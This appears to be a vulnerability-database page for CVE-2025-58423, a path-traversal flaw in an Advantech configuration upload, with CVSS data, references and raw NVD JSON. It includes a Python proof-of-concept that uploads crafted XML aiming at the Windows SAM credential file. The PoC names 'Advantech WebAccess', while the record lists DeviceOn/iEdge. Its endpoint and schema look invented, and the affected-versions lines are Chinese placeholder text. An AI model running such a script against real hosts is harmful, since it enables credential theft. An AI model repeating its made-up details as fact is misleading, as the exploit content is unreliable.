CVE-2025-58423

Description

Due to insufficient sanitization, an attacker can upload a specially crafted configuration file to cause a denial-of-service condition, traverse directories, or read/write files, within the context of the local system account.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:advantech:deviceon\/iedge:*:*:*:*:*:*:*:* - VULNERABLE

Advantech WebAccess < 最新安全补丁版本

Advantech WebAccess (具体版本需查阅官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-58423 PoC - Advantech WebAccess Malicious Configuration Upload
# This PoC demonstrates the configuration file upload vulnerability

import requests
import sys

TARGET_URL = "http://target-host/AdvantechWebAccess/"

def create_malicious_config():
    """Generate malicious configuration file for directory traversal"""
    malicious_content = '''<?xml version="1.0"?>
<configuration>
  <filePath>../../../../windows/system32/config/sam</filePath>
  <command>whoami</command>
  <enableWrite>true</enableWrite>
</configuration>
'''
    return malicious_content

def exploit_upload():
    """Upload malicious configuration file"""
    config = create_malicious_config()
    
    files = {
        'configFile': ('malicious.xml', config, 'application/xml')
    }
    
    data = {
        'projectName': 'test_project'
    }
    
    try:
        response = requests.post(
            f"{TARGET_URL}uploadConfig",
            files=files,
            data=data,
            timeout=10
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")
        
        if response.status_code == 200:
            print("[+] Malicious configuration uploaded successfully")
            print("[+] Possible impacts: DoS, Directory Traversal, File R/W")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        TARGET_URL = sys.argv[1]
    print(f"[*] Targeting: {TARGET_URL}")
    print("[*] Exploiting CVE-2025-58423...")
    exploit_upload()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58423
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58423
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58423/
[4] VulDB https://vuldb.com/cve/CVE-2025-58423
[5] https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-310-01.json
[6] https://www.advantech.com/emt/contact
[7] https://www.cisa.gov/news-events/ics-advisories/icsa-25-310-01

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58423", "sourceIdentifier": "[email protected]", "published": "2025-11-06T23:15:37.520", "lastModified": "2025-11-21T16:29:54.113", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Due to insufficient sanitization, an attacker can upload a specially \ncrafted configuration file to cause a denial-of-service condition, \ntraverse directories, or read/write files, within the context of the \nlocal system account."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:deviceon\\/iedge:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.0.2", "matchCriteriaId": "36500DFB-E95F-4E82-8CA9-70E5353467FA"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-310-01.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.com/emt/contact", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-310-01", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory", "US Government Resource"]}]}}